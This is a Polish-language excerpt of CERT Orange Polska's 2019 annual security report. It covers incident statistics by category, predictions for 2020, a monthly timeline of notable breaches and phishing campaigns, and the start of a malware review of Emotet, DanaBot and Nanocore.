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Raport powstał we współpracy z Integrated Solutions,  
dostawcą nowoczesnych rozwiązań 
ze świata informatyki i telekomunikacji.
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Internet tak bezpieczny, jak tylko się da

oszczędności całego życia! Linki do tego typu stron 
coraz częściej trafiają do nas za pośrednictwem 
SMS-ów. Na urządzeniu mobilnym łatwiej ulegamy 
impulsowi kliknięcia w link bez sprawdzenia paska 
adresu. Dlatego tak ważna jest dla nas, operatora, 
który dba o bezpieczeństwo w swojej sieci, szybkość 
reakcji i błyskawiczne blokowanie groźnych stron.

Codzienne analizowanie i blokowanie zagrożeń 
to ważne, ale nie jedyne zadanie zespołu CERT Orange 
Polska. Niezwykle ważne jest ciągłe doskonalenie 
i dzielenie się wiedzą z innymi. Przewidując przyszłe 
trendy w bezpieczeństwie, pełnimy istotną rolę we 
współfinansowanym przez Unię Europejską, naukowym 
projekcie SIMARGL (Secure Intelligent Methods 
for Advanced Recognition of Malware and Stegomal-
ware). Praca w konsorcjum składającym się z 14 firm 
i jednostek naukowych z siedmiu krajów to unikalna 
okazja do rozwoju i wymiany doświadczeń, dążąca 
– jak wszystkie działania CERT Orange Polska – do 
tego, byśmy wszyscy czuli się bezpieczniej w naszym 
cyfrowym środowisku. Nie zapominamy również 
o edukacji – świadomy użytkownik może 

znacznie zwiększyć swoje bezpieczeństwo w sieci 
i uniknąć wielu zagrożeń. Stąd nasze działania 
skierowane do dzieci i młodzieży, realizowane także 
we współpracy z Fundacją Orange, niezliczone 
prezentacje na konferencjach, warsztaty nawet 
dla dzieci, młodzieży, dorosłych czy seniorów, publikacje 
na stronie www.orange.pl/cert, oraz blogu Orange 
Polska, ostrzeżenia na Twitterze. No i oczywiście usługi 
bezpieczeństwa dla indywidualnych klientów i firm,  
pozwalające na skorzystanie z przeszło 20-letniego 
doświadczenia naszych ekspertów od bezpieczeń-
stwa w sieci.

A czego nauczył nas 2019 rok? Sprawdźcie sami – 
zapraszamy do lektury szóstego już Raportu CERT 
Orange Polska.

Jean-François Fallacher
Prezes Zarządu Orange Polska

Gdyby spojrzeć na internet 20 lat temu i dziś pod 
kątem cyberbezpieczeństwa, można by przewrotnie 
powiedzieć, że w zasadzie... niewiele się zmieniło.
Zarówno wtedy, jak i teraz, korzystając z sieci nie 
zastanawiamy się nad zagrożeniami, jakie są z tym 
związane. Wtedy zagrożenia praktycznie nie istniały. 
Dziś jest ich wiele, ale wciąż rzadko je  zauważamy. 
Czasami dlatego, że przestępcy są coraz sprytniejsi, 
ale częściej dlatego, że ryzyku zapobiega dostaw-
ca naszych usług. To właśnie jest  „przezroczyste” 
bezpieczeństwo. Jako klienci usług Orange Polska, 
nie musicie – ba, nie chcecie! – wiedzieć, co się 
dzieje po stronie naszego CERT-u. Internet, który 
Wam oferujemy, ma być tak bezpieczny, 
jak tylko się da.

Prawie 11,5 miliona zablokowanych prób wejścia 
na strony phishingowe, przeszło 2,5 mln klientów 
ochronionych przed działaniem złośliwego oprogra-
mowania. Te liczby ilustrują mozolną pracę zespołu 
CERT Orange Polska. Na co dzień niewidoczną, 
jednak bezpośrednio przekładającą się na poczucie 
bezpieczeństwa naszych klientów.

Przeglądając kolejne wydania Raportu CERT Orange 
Polska widać, jak z roku na rok, zmieniają się cyberza-
grożenia. Jedne wygasają, a na ich miejsce pojawiają się 
lub nasilają inne. Ubiegły rok upłynął pod znakiem niezwy-
kle groźnych kampanii phishingowych z wykorzystaniem 
fałszywych bramek płatności on-line. W takiej sytuacji 
sukces przestępcy nierzadko dla ofiary oznacza utratę 

Prawie

11,5 miliona 

zablokowanych prób 
wejścia na strony 
phishingowe 

Przeszło

 2,5 miliona 
klientów ochronionych 
przed działaniem 
złośliwego 
oprogramowania

Te liczby ilustrują mozolną pracę zespołu 
CERT Orange Polska. Na co dzień niewidoczną, 
jednak bezpośrednio przekładającą się na 
poczucie bezpieczeństwa naszych klientów.



6 7

Raport CERT ORANGE POLSKA 2019Raport CERT ORANGE POLSKA 2019

Informacje o incydentach pochodziły zarówno 
ze źródeł zewnętrznych, jak i wewnętrznych systemów 
bezpieczeństwa. Zewnętrzne źródła informacji 
to przede wszystkim zgłoszenia od użytkowników, 
informacje pochodzące od organizacji zajmujących 
się bezpieczeństwem czy innych jednostek CERT, 
natomiast własne systemy bezpieczeństwa to m.in. 
systemy wykrywania i zapobiegania włamaniom 
(IDS/IPS), analizatory przepływów sieciowych (flows) 
pod kątem ataków DDoS oraz złośliwych kodów, 

pułapki sieciowe (honeypot), systemy zarządzania 
informacją związaną z bezpieczeństwem i zdarzeniami 
(SIEM) oraz DNS/IP sinkhole.

Stosowana przez nas klasyfikacja obejmuje wszelkie 
typy zdarzeń zgłaszanych i obsługiwanych przez zespoły 
typu CSIRT/CERT. Kategorie oparte są na typie i skutku 
działań naruszających bezpieczeństwo związanych 
z procesem ataku na system teleinformatyczny i jego 
wykorzystaniem. Podział taki przydatny jest głównie 

Incydenty bezpieczeństwa obsłużone przez 
CERT Orange Polska

z punktu widzenia działań operacyjnych, pod kątem 
osiągniętego celu. W praktyce w analizowanych 
incydentach używano zazwyczaj wielu metod 

i technik prowadzących do osiągnięcia określonego 
skutku, głównie związanych z użyciem złośliwego 
oprogramowania.

Przedstawiamy rozkład procentowy incydentów bezpieczeństwa obsłużonych 
przez nas w sposób nieautomatyczny w roku 2019. Incydenty dotyczą 
usługowych sieci internetowych, a analizy dotyczą przede wszystkim podziału 
incydentów na kategorie oraz porównań z ubiegłym rokiem. 

Kategoria incydentu
 
Obraźliwe 
i nielegalne treści

Złośliwe 
oprogramowanie 

Gromadzenie informacji 

Próby włamań 

Włamania sieciowe 

Dostępność zasobów 

Poufność i integralność 
informacji 

Oszustwa sieciowe

Inne  

Opis oraz przykłady zdarzeń
 
Rozpowszechnianie niebezpiecznych i zabronionych prawem treści (np. rozsyłanie 
spamu, dystrybucja/udostępnianie materiałów chronionych prawem 
autorskim – piractwo/plagiat, pornografia dziecięca) oraz treści obraźliwych/gróźb 
i innych związanych z naruszeniem zasad i reguł w sieci internet.

Infekcje i rozpowszechnianie złośliwego oprogramowania (np. hostowanie C&C, 
złośliwe oprogramowanie w załączniku wiadomości lub link do skompromitowanego 
adresu URL).

Podejmowanie działań mających na celu uzyskanie informacji o systemie lub sieci, 
bądź ich użytkownikach, zmierzających do nieautoryzowanego dostępu (np. skano-
wanie portów, podsłuch, inżynieria społeczna/phishing – w tym rozpowszechnianie 
maili phishingowych, hostowanie stron phishingowych).

Próby uzyskania nieautoryzowanego dostępu do systemu lub sieci (np. wielokrotne 
nieuprawnione logowania, próby naruszenia systemu lub zakłócania funkcjonowania 
usług przez wykorzystywanie podatności).

Uzyskanie nieautoryzowanego dostępu do systemu lub sieci, tj. wtargnięcie, 
naruszenie systemu/przełamanie zabezpieczeń (np. poprzez wykorzystanie znanych 
podatności systemu), kompromitacja konta.

Blokowanie dostępności zasobów sieciowych (systemu, danych), m.in. poprzez wysyłanie 
dużej ilości danych, które skutkuje odmową świadczenia usług (ataki typu DDoS).

Naruszenie poufności lub integralności informacji, najczęściej w efekcie 
wcześniejszego przejęcia systemu lub przechwycenia danych podczas transmisji 
(np. przechwycenie i/lub udostępnienie określonego zbioru informacji, zniszczenie 
lub modyfikacja danych w określonym zbiorze informacji).

Czerpanie korzyści z nieuprawnionego wykorzystania zasobów sieciowych (informacji, 
systemu) bądź ich użycie niezgodne z przeznaczeniem (np. użycie nazwy organizacji 
bez pozwolenia, użycie zasobów organizacji w celach pozastatutowych).

Zdarzenia, które nie mieszczą się w wymienionych kategoriach.

Kategorie obsługiwanych incydentów:

Gromadzenie informacji
Dostępność zasobów
Obraźliwe i nielegalne treści
Złośliwe porogramowanie
Poufność i integralność informacji
Próby włamań
Oszustwa sieciowe
Włamania sieciowe
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Gromadzenie informacji

Incydenty z kategorii „gromadzenie informacji” stanowiły 
najliczniejszą grupą obsłużonych w 2019 r. (40,4 proc. 
wszystkich). Na grupę tych incydentów składają się przede 
wszystkim przypadki phishingu oraz skanowania portów. 
Tego typu zagrożenia to w większości przypadków istotny 
element bardziej zaawansowanych ataków, mających 
na celu kradzież informacji czy oszustw finansowych. 
Na przestrzeni roku najwięcej przypadków w tej kategorii 
wystąpiło w sierpniu oraz we wrześniu.

Dostępność zasobów

Na klasę incydentów „dostępność zasobów” składają 
się przede wszystkim przypadki ataków typu Distributed 
Denial of Service (DDoS). Incydentów o takiej charaktery-
styce było 20,9 proc. w roku 2019, zaś na przestrzeni roku 
najwięcej incydentów w tej kategorii obsłużono w styczniu, 
a najmniej w grudniu. Incydenty te, podobnie jak złośliwe 
oprogramowanie, mogą być szczególnym zagrożeniem 
i powodować istotne straty, dlatego poświęciliśmy im 
odrębną część raportu.

Obraźliwe i nielegalne treści

Na grupę incydentów określanych jako „obraźliwe 
i nielegalne treści” składają się przede wszystkim 
przypadki dotyczące rozsyłania spamu. Inne typy 
incydentów w tej grupie to m.in. przypadki dotyczące 
naruszeń praw autorskich (np. piractwo) oraz 
rozpowszechniania treści zabronionych prawem 
(np. treści rasistowskie, pornografia dziecięca czy 
wychwalające przemoc). Na przestrzeni roku 2019 
szczególne nasilenie incydentów w tej kategorii 
można było zaobserwować w sierpniu, zaś 
najmniejsze w lutym.

Złośliwe oprogramowanie

Na klasę incydentów „złośliwe oprogramowanie” 
składają się przede wszystkim przypadki infekcji 
(m.in. infekcji złośliwym oprogramowaniem typu 
ransomware, trojan), dystrybucji złośliwego 
oprogramowania (w tym m.in. złośliwe oprogramowanie 
w załączniku wiadomości, hostowanie złośliwych stron 
czy hostowania serwerów Command&Control (C&C) 
kontrolujących zdalnie sieć zainfekowanych komputerów. 
Incydentów o takiej charakterystyce było 11,3 proc. 
wszystkich obsłużonych w roku 2019, zaś najwięcej 
przypadków w tej kategorii wystąpiło w lipcu. 
Spowodowane było to zwiększoną liczbą kampanii 
złośliwego oprogramowania (złośliwe oprogramowanie 
jako załącznik bądź link prowadzący do złośliwego 
URL), związanych z fałszywymi fakturami. W praktyce 
w większości analizowanych incydentów, cyberprzestępcy 
zamierzony cel osiągnęli przy użyciu złośliwego 
oprogramowania, dlatego temu zagrożeniu poświęcona 
jest odrębna część raportu.

Poufność i integralność informacji

Na tę klasę składają się przypadki nieautoryzowanego 
dostępu do informacji oraz zmiany lub usunięcia zbiorów 
informacji. W 2019 r. odnotowano 3,3 proc. tego typu 
przypadków. Niemniej jednak takie incydenty mają duży 
ciężar gatunkowy. W praktyce oznaczają poważne 
problemy związane z wyciekiem informacji lub innymi 
konsekwencjami nieautoryzowanego dostępu do nich. 
Na przestrzeni roku najwięcej incydentów w tej kategorii 
obsłużono w grudniu, a najmniej w czerwcu.

Próby włamań

W kategorii „próby włamań” ujęto głównie przypadki 
usiłowania przełamania zabezpieczeń przez wykorzystanie 
podatności systemów, jego komponentów lub całych sieci 
oraz prób logowania do usług lub systemów dostępowych 
(zgadywania haseł), mające na celu uzyskanie dostępu 
do systemu czy przejęcia nad nim kontroli. Incydentów 
o takiej charakterystyce było 3,1 proc. w roku 2019, zaś 
na przestrzeni roku najwięcej incydentów w tej kategorii 
obsłużono w grudniu.

Oszustwa sieciowe

W kategorii „oszustwa sieciowe” zostały zawarte głównie 
przypadki nieautoryzowanego użycia zasobów 
i nielegalnego używania nazwy innego podmiotu bez jego 
zezwolenia. Przypadki te stanowiły 2,6 proc. wszystkich 
incydentów, najwięcej przypadków w tej kategorii na 
przestrzeni roku wystąpiło w styczniu oraz czerwcu. 
Przypadki te dotyczyły głównie ataków podszywania się 
pod znane marki i instytucje w kampaniach złośliwego 
oprogramowania oraz phishingowych.

Włamania sieciowe

Na tę klasę incydentów składają się typy incydentów 
tożsame z klasą „próby włamań” jednak zakończone 
pozytywnym efektem z punktu widzenia atakującego. 
Incydentów o takiej charakterystyce było 0,6 proc. w roku 
2019, zaś na przestrzeni roku najwięcej incydentów w tej 
kategorii obsłużono w maju.

Inne

Incydenty niesklasyfikowane w poprzednich kategoriach 
stanowiły nieznaczny odsetek wszystkich przypadków. 
Nie można określić żadnego dominującego rodzaju wśród 
tych incydentów.

Wśród obsłużonych incydentów największą grupę 
stanowiły te z klasy gromadzenie informacji (40,4 proc.). 
W porównaniu z rokiem 2018 nastąpił znaczny 
wzrost - o blisko 19 pp. (21,6 proc. w 2018 r.). Na drugim 
miejscu znalazły się ataki na dostępność zasobów 
(20,9 proc.) - na poziomie zbliżonym do ubiegłego roku 
(23,0 proc. w 2018 r.). Kolejne miejsce to incydenty z grupy 
obraźliwych i nielegalnych treści (17,8 proc.) – spadek 
w stosunku do poprzedniego roku o 8,9 pp., złośliwe opro-
gramowanie (11,3 proc.) – spadek w stosunku do poprze-
dniego roku o niemal 5 pp., poufność i integralność infor-
macji (3,3 proc.) – podobnie jak w ubiegłym roku, próby 
włamań (3,1 proc.) - podobnie jak w ubiegłym roku, 

oszustwa sieciowe (2,6 proc.) - podobnie jak w ubiegłym 
roku. Poniżej 1 proc. zaklasyfikowano włamania sieciowe. 
Inne, nieobjęte wspomnianymi kategoriami, stanowiły 
nieznaczny odsetek obsłużonych incydentów.

Rozkład w czasie występowania incydentów w 2019 r. 
nie jest regularny. Przede wszystkim można zauważyć 
znaczny wzrost liczby obsługiwanych incydentów w lipcu. 
Wzrost ten spowodowany był zwiększoną liczbą przypad-
ków kampanii phishingowych i złośliwego oprogramowania, 
związanych z fałszywymi fakturami, podszywającymi się 
pod różne firmy (w tym pod Orange).

0%
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Rozkład miesięczny incydentów w 2019 r. z podziałem na kategorie

Gromadzenie informacji   Dostępność zasobów
Obraźliwe i nielegalne treści   Złośliwe porogramowanie
Poufność i integralność informacji  Próby włamań
Oszustwa sieciowe    Włamania sieciowe 
Inne
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Część naszych ubiegłorocznych prognoz na 
zamknięcie roku 2019 okazało się trafnych. 
Przewidywania dotyczące stopniowej elitaryzacji 
ransomware jako narzędzia wykorzystywanego 
w atakach kierunkowych były słuszne. Podobnie 
jak stopniowy choć powolny rozwój zagrożeń 
powiązanych ze steganografią, technikami „fileless” 
czy sprytnym wykorzystaniem malvertismentu 
do dystrybucji złośliwego oprogramowania.

Inne, jak choćby spadek aktywności koparek 
kryptowalut czy głośny powrót ataków 
z wykorzystaniem wiperów nie sprawdziły się 
do końca. 

Mimo to nie przestaniemy próbować przewidywać 
najbardziej prawdopodobnych scenariuszy ataków przy 
nieustającej identyfikacji nowych ryzyk i potencjalnych 
podatności. 

Co zatem stać się może w roku  
rozpoczynającym nową dekadę?  

• Zagraniczne sukcesy sprawią, że przestępcy  
masowo i w Polsce zaczną atakować firmy  
ransomware, grożąc ujawnieniem danych  
w przypadku niezapłacenia okupu. 

• Nastąpi widoczny wzrost ataków, wykorzystujących 
luki w protokole RDP. 

• Wykorzystanie techniki deepfake, o której  
pisaliśmy już w zeszłorocznym raporcie do  
przeprowadzania oszustw i wyłudzeń na masową 
skalę. Mogą też pojawić się próby użycia  
spreparowanych filmów i plików dźwiękowych  
do kierunkowych ataków socjotechnicznych  
na przedsiębiorstwa. 

• Bezpieczeństwo kontenerów zostanie wystawione  
na próbę przez wzrost identyfikowanych  
i wykorzystywanych podatności w ich obrazach.  
  

• Debiut sieci 5G zwiększy liczbę ataków  
przeprowadzanych na urządzenia brzegowe  
w rozproszonej architekturze Edge Computingu.  
 

• Nowe usługi i rozwiązania bazujące na  
otwartej bankowości staną się celem  
ataków cyberprzestępców. 
  

• Aplikacje webowe w chmurze będą coraz  
częściej wykorzystywane jako wektor ataków  
phishingowych i dystrybucji złośliwego  
oprogramowania. 

• Rosnąca popularność smishingu sprawi  
że SMS-y z podstawionymi nadpisami  
staną się obok malspamu najbardziej popularnym 
wektorem ataku na użytkowników indywidualnych. 

• Wykorzystanie atrybucji do identyfikacji grup  
odpowiedzialnych za ataki stanie się coraz  
trudniejsze. Metoda pozostawiania fałszywych  
flag stanie się powszechną techniką stosowaną 
zarówno w aspekcie socjopolitycznym, jak  
i w celu anonimizacji rzeczywistego sprawcy.  

• Dalszy ciąg anonimizacji sieci (VPN-y  
w przeglądarkach, rozpowszechnienie DNS  
over HTTPS) przyczyni się do wzrostu ataków 
typu Man In The Middle (podsłuch i modyfikacja 
wiadomości przesyłanych pomiędzy dwiema  
stronami bez ich wiedzy).  

• Procesy automatyzacyjne i rozwój sztucznej  
inteligencji w technologiach cyberbezpieczeństwa 
zostaną coraz szerzej adaptowane przez grupy 
przestępcze do wykonywania i przeprowadzania 
ataków na urządzenia końcowe. 

Powyższa lista z pewnością nie wyczerpuje 
tematu, a z samymi przewidywaniami tak bywa, 
że do każdego zadanego pytania ułożyć można 
dwa następne. Jaki więc będzie rok 2020? 
Przekonamy się wkrótce.

 

Trendy, 
czyli co czeka nas w roku 2020?

Rosnąca popularność smishingu sprawi,  
że SMS-y z podstawionymi nadpisami  
staną się obok malspamu najbardziej 
popularnym wektorem ataku na 
użytkowników indywidualnych. 

„
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Luty

Milion laptopów ASUS zainfekowanych 
złośliwym oprogramowaniem

W marcu Kaspersky opublikował informację 
o zainfekowaniu złośliwym oprogramo-

waniem około miliona użytkowników sprzętu 
Asus. Jak się okazało, wraz z pobraniem 
nowej aktualizacji laptopów dostarczonej 

przez producenta, użytkownicy instalowali 
ją wraz ze złośliwym kodem.

Styczeń

Przegląd najważniejszych wydarzeń i zagrożeń 
w Polsce i na świecie w roku 2019

Irańscy hakerzy podejrzani 
o DNS hijacking 

Firma FireEye ujawniła globalną kampanię 
prowadzoną przez irańskich hakerów, 
których zadaniem było przekierowanie ruchu 
z firm na całym świecie za pośrednictwem 
swoich serwerów. Rejestrowali przy tym 
poświadczenia firm na wypadek 
planowanych przyszłych ataków. 

Wykrycie w sieci skimmera

W sieci pojawił się skimmer dystrybu- 
owany na stronach e-commerce przez jedną 

z zagranicznych sieci reklamowych. 
Skimmer zbierał w przeglądarce dane 

logowania i wysyłał je na zdalne serwery.

Microsoft ofiarą cyberprzestępców

W wyniku przeprowadzonej kampa-
nii phishingowej na firmę Microsoft, 

cyberprzestępcom udało się pozyskać 
poświadczenia do kont.

Marzec

Podatność w elektrycznych
hulajnogach Xiaomi

W wyniku badań zidentyfikowano poważną 
podatność w hulajnogach Xiaomi, 

wykorzystujących komunikację Bluetooth 
do zarządzania pojazdem. Ustalono, 
że proces uwierzytelniania nie działa 

prawidłowo i przez to możliwe jest 
korzystanie ze wszystkich funkcji 

hulajnogi bez potrzeby logowania.

Maj

Kwiecień

Canva.com - ogromny wyciek danych

139 mln użytkowników ucierpiało w wyniku 
wypłynięcia danych z popularnego serwisu 
przeznaczonego do tworzenia grafik. 
Cyberprzestępcom udało się zdobyć dane 
takie jak nazwa użytkowników, nazwiska, 
adresy e-mail, hasła oraz informacje o kraju 
pochodzenia. 

CyberTarczaPhishing na klientów Lidla i Biedronki

Kampania phishingowa na polskie sieci 
handlowe: pod pretekstem atrakcyjnych 

nagród przestępcy wykradali dane 
osobowe użytkowników i naciągali ich 

na wysokopłatne subskrypcje SMS-owe. 

Phishing SMS na dopłatę pod 
przykrywką wypisania z usługi 

SMS Premium

Przestępcy rozsyłali fałszywe SMS-y 
o treści dotyczącej rzekomego zapisu 

na wysoko płatny serwis SMS 
z możliwością rezygnacji z subskrypcji 
płacąc zaledwie złotówkę. Aby opłacić 
kierowani byliśmy do fałszywej strony 

płatności elektronicznej. Ujawnienie danych 
autoryzacyjnych narażało nas na utratę 

pieniędzy z naszego konta. 

Atak na urządzenia IoT

Złośliwe oprogramowanie Silex ma 
na celu niszczenie pamięci urządzenia IoT, 
usunięcie konfiguracji sieci, złamanie 
zapory sieciowej, a w rezultacie 
zatrzymanie działania urządzenia.

WhatsApp zhakowany 
przez Pegasusa

Malware Pegasus przejął kontrolę 
nad urządzeniami około 1400 

użytkowników Whatsapp z całego świata. 
Oprogramowanie wykorzystało lukę 

w obsłudze połączeń wideo. Umożliwiło 
to zainfekowanie smartfona 

złośliwym oprogramowaniem 
i rozpoczęcie inwigilacji. 

Czerwiec

Ataki na użytkowników Orange Multibox

Kampania phishingowa 
na użytkowników Orange Multibox 
narażająca ich na kradzież danych 

logowania do serwisu.

Świat

CyberTarcza

Polska

Świat

Świat

CyberTarcza

CyberTarcza

CyberTarcza

Polska Grupa Zbrojeniowa ofiarą 
phishingu na 4 mln zł

Polska Grupa Zbrojeniowa padła ofiarą 
oszustwa kampanii phishingowej. Oszuści 
podszywali się pod czeskiego dostawcę 
broni i nakłaniali do opłacenia rzekomych 
dostaw. Przestępcom udało się wyłudzić 
pieniądze w wysokości 4 mln złotych.

Złośliwe załączniki

CyberTarcza wykryła nową kampanię 
phishingową podszywającą się pod 
Orange. W załączniku klienci sieci 
otrzymywali złośliwy plik VBS udający 
fakturę. 

SMS-owe kampanie phishingowe 
na dopłatę

Seria kampanii SMS o treści nakłaniającej 
do zapłaty kwoty kilkuzłotowej np. 
z powodu rzekomego zadłużenia twojego 
abonamentu telefonicznego, bo twój 
numer zostanie zablokowany czy z powodu 
rzekomej zaległości twojego ogłoszenia, 
aby pozostało aktywne. Aby opłacić 
kierowani byliśmy do fałszywej strony 
płatności elektronicznej. Ujawnienie 
danych autoryzacyjnych narażało nas 
na utratę pieniędzy z naszego konta. 

Świat Wyciek danych z Facebooka

Dane aplikacji Facebooka gromadzone 
przez inne firmy zewnętrzne wyciekły. 
Wśród 540 milionów rekordów znajdowały 
się komentarze, polubienia, reakcje, 
nazwy kont, identyfikatory i inne dane.

Świat

Świat

CyberTarcza

CyberTarcza

CyberTarcza

Świat

Szkodliwe reklamy

Duża kampania atakująca szkodliwymi 
reklamami. Klienci Orange mogli zobaczyć 
banery reklamowe podszywające się pod 
operatora (rozpoznawanie na podstawie 
przynależności adresu IP), zachęcające do
udziału w atrakcyjnych quizach. Udział 
narażał użytkowników na kradzież danych 
osobowych i subskrypcji wysokopłatnych 
serwisów SMS-owych.
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Rekordowa kara UODO na Morele

W wyniku wycieku bazy danych
 klientów „Morele.net”, UODO podjęło 

decyzję o wymierzeniu kary 
w wysokości prawie 3 mln zł 

za naruszenia bezpieczeństwa danych.

Kampania e-mailowa na Orange Flex

W mailach wyświetlane były prawdziwe 
materiały Orange, jednak linki z maili 

przekierowywały do stron kradnących 
dane osobowe i dane kart płatniczych. 

Wykorzystywano również dane z geolo-
kalizacji oraz rozpoznawanie przeglądarek 

użytkowników. Kampania kierowana 
była również do firm i używała popularnych 

firmowych adresów mailowych (typu 
customer service, info, support, office).

Lipiec

Luka w zabezpieczeniach kart Visa

W wyniku przeprowadzonych badań 
bezpieczeństwa wykazano lukę w zabezpiecze-
niach kart Visa. Dzięki manipulowaniu danymi 
wymienianymi podczas płatności możliwa jest 
płatność zbliżeniowa przekraczająca określony 
limit pieniężny. 

CyberTarcza
Phishing na klientów Orange

Kampania phishingowa na faktury Orange, 
dystrybuująca droppera brushloader, który

pobierał trojana DanaBot. Kampania 
dynamicznie modyfikowana przez 

atakujących (nowe wzory e-maili, nowe 
serwery C&C). Kampania była skierowana 

przeciwko jednemu z operatorów 
telekomunikacyjnych. Wymuszała 

zgłoszenie konieczności aktualizacji 
oprogramowania na komputerach 
oraz zdalną instalację malware’u. 

Świat

Polska

Polacy wygrywają turniej hakerski 
grupy Orange

Zawody zgromadziły pasjonatów cyberbez-
pieczeństwa z całego świata, pracujących 
na co dzień pod szyldem Orange. Odbyły 
się w trzech miejscach: Rennes, Paryżu 
i Warszawie. Pogrupowane wg różnych kate-
gorii, np. sieć czy aplikacje webowe zadania, 
polegały na odnalezieniu ukrytych w nich 
flag. Można je było zdobyć odnajdując błędy  
w aplikacjach, wykorzystując podatności 
lub przełamując zabezpieczenia. Rozwiązanie 
jednego zadania odblokowywało kolejne.

OPL

Październik

Luki bezpieczeństwa w urządzeniach 
Alexa i Home

Hakerzy mogli wykorzystywać 
inteligentnych asystentów Amazon 
i Google do podsłuchiwania konwersacji 
użytkowników bez ich wiedzy.

Kampania phishingowa – wygrałeś 
iPhone

Znaczna liczba kampanii zachęcających 
do udziału w konkursach typu „Wygrałeś 
iPhone’a”. Przestępcy podszywają się 
pod operatorów telekomunikacyjnych 
(rozpoznawanie IP) i zachęcają 
do dzielenia się danymi osobowymi 
i danymi kart płatniczych.

Klinika dziecięca „Budzik” 
zainfekowana ransomware

Zainfekowanie ransomware było wynikiem 
udanej kampanii phishingowej skierowanej 
na skrzynki pocztowe dziecięcej kliniki. 
Był to klasyczny przypadek maili z żądaniem 
zapłaty za fakturę. W wyniku ataku systemy 
komputerowe placówki zostały zaszyfro-
wane uniemożliwiając pracę placówki. 

Grudzień

Listopad

Świat Ransomware atakujący systemy Linux

Tysiące serwerów internetowych zostało 
zainfekowanych, a ich pliki zostały zaszyfro-
wane przez nową odmianę oprogramowania 
ransomware o nazwie Lilocked. Według 
badań ransomware atakuje wyłącznie 
systemy oparte na systemach Linux.

Kampania na klientów Idea Bank

Klienci banku narażeni byli na telefon od 
przestępcy nakłaniającego do podania 
jednorazowych kodów SMS. Wykorzystywali 
do tego przechwycone numery infolinii 
bankowej, ponadto znali również dane 
logowania do bankowości elektronicznej 
klientów, do których dzwonili. Wynikiem 
tych działań było definiowanie na kontach 
ofiar zaufanego odbiorcy, a w rezultacie 
kradzieży pieniędzy.

CyberTarcza

Sierpień

Świat
Użytkownicy Fortnite zainfekowani 

ransomwarem Syrk

Gracze w Fortnite zostali narażeni na 
zainstalowanie złośliwego programu, 

podszywającego się pod pakiet modyfikacji.
 Celem ataku było zaszyfrowanie plików 
użytkownika i żądanie zapłacenia okupu 

w zamian za odzyskanie danych.  

CyberTarcza

Wrzesień

CyberTarcza

Świat

Polska

Polska

Polska

CyberTarcza

CyberTarcza

Polska

Polska

Kampania phishingowa na PKO BP

Klienci banku PKO zostali ofiarami phishingu. 
Tym razem oszuści rozsyłali maile z treścią 
dotyczącą wykrytego nieautoryzowanego 
logowania i w ten sposób nakłaniali do 
podania danych logowania na fałszywej 
stronie internetowej. W rezultacie klienci 
mogli utracić pieniądze i dostęp do konta.  

Fałszywe SMS-y od Biedronki i Rossmana

Przestępcy próbowali nakłonić klientów 
sklepów Biedronka i Rossman do wypełnienia 

ankiety na fałszywej stronie w celu wzięcia 
udziału w loterii i wygrania iPhone’a. 

Wypełnienie ankiety skutkowało obciążeniem 
karty płatniczej na kwotę 75 EUR. 

Kradzież na „BLIKA” 

Użytkownicy mogli korzystać z fałszywych 
stron internetowych z sensacyjnymi wiado-

mościami, które podszywały się pod takie 
witryny jak „naTemat”, „Gazeta Polska”, „Fakt” 

czy „Newsweek”. W rezultacie strony te 
przekierowywały na podstawioną stronę 

Facebooka, które prowadziła do przejęcia 
danych logowania i wyłudzania kodów BLIK.

„Faktury” ukryte na Google Drive

Kampania z fałszywymi fakturami ukrywanymi 
jako link do rzekomej faktury na chmurowym 

dysku Google. Przestępcy wydawali się 
liczyć na trzy rzeczy: wzbudzenie zaufania 

u ofiar, oszukanie niektórych systemów 
bezpieczeństwa oraz brak możliwości 

zablokowania takiej strony przez operatora.

Atak hakerski na urząd 
gminy w Kościerzynie

Dane na komputerach Urzędu Gminy 
w Kościerzynie zostały zaszyfrowane przez 
cyberprzestępców. Urząd podjął działania 

w celu zbadania i usunięcia złośliwego opro-
gramowania. Po kilku tygodniach systemy 

i usługi przywrócono do pełnej operacyjności. 

Utrata danych w SGGW

W wyniku kradzieży laptopa jednego 
z pracowników uczelni SGGW, utracono 
kontrolę nad tysiącem danych osobowych 
kandydatów na studia z ostatnich kilku lat.
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1. kwartał 2019
Początek roku nie przyniósł żadnych niespodziewanych 
zmian w porównaniu z rokiem poprzednim. Malspam 
pozostał czołowym wektorem dystrybucji złośliwego 
oprogramowania, a najczęściej dostarczanym tą metodą 
oprogramowaniem był Emotet, co będzie stanowiło 
trend na przestrzeni całego roku za wyjątkiem 
wakacyjnej przerwy. 

Klasyfikowany niegdyś jako Trojan bankowy, Emotet, 
na przestrzeni ostatnich lat, przekształcił się w wielo-
funkcyjny modułowy Botnet zdolny do rozsyłania 
spamu, wykradania danych czy pobierania dodatkowego 
złośliwego oprogramowania na urządzenia końcowe.  

Początek roku 2019 to zmiana na pozycji lidera 
malware’ów bankowych. Najpopularniejszy w końcówce 
roku 2018 Zeus Panda, dostarczany m.in przez Emoteta 
właśnie, został zastąpiony wyjątkowo popularnym 
w Polsce Danabotem. Liczne kampanie spear-phishingowe, 
wypuszczane przez odpowiedzialną za Danabota grupę 
przestępczą, podszywały się między innymi pod opera-
torów telekomów w tym T-Mobile czy Orange Polska. 
Co do Zeusa Pandy, jego aktywność spadła niemalże 
do zera i nie stanowił on powszechnego zagrożenia 
na stacjach użytkowników sieci Orange Polska.

Z szeroko pojętej rodziny backdoorów do TOP 10 
dostał się Nanocore – RAT stworzony w środowisku 
.NET, dystrybuowany przez kampanie malspamowe, 
a w kontekście funkcjonalności jeden z najbardziej rozbu-
dowanych narzędzi tego typu. Nanocore posiada dodatki 
umożliwiające kompletną, zdalną inwigilację zainfekowa-
nego sprzętu począwszy od monitorowania działających 
procesów, połączeń wychodzących i przychodzących 
przez monitoring audio i video, a na rejestracji słów wpisy-
wanych na klawiaturze kończąc. W dodatku narzędzie 
to sprzedawane jako usługa może być wyposażony 
w szeroką listę pluginów:

Najczęściej wykorzystywaną podatnością pierwszego 
kwartału okazał się być exploit przygotowany pod 
framework developerski – ThinkPHP.  W epoce mediów 
społecznościowych i cyfryzacji rośnie potrzeba posiadania 
atrakcyjnych i przyjemnych w użytkowaniu witryn webo-
wych. Rynek starają się zaspokoić wszelkiej maści CMS-y 
oraz frameworki służące do budowania stron internetowych 
takich jak ThinkPHP, co z kolei napędza cyberprzestępców 
do szukania i wykorzystywania podatności takich jak  
CVE-2018-20062. ThinkPHP exploit pozwalający na 
słownikowe przełamanie zabezpieczeń i dostęp do 
administracyjnych panelów web serwisów był wykorzysty-
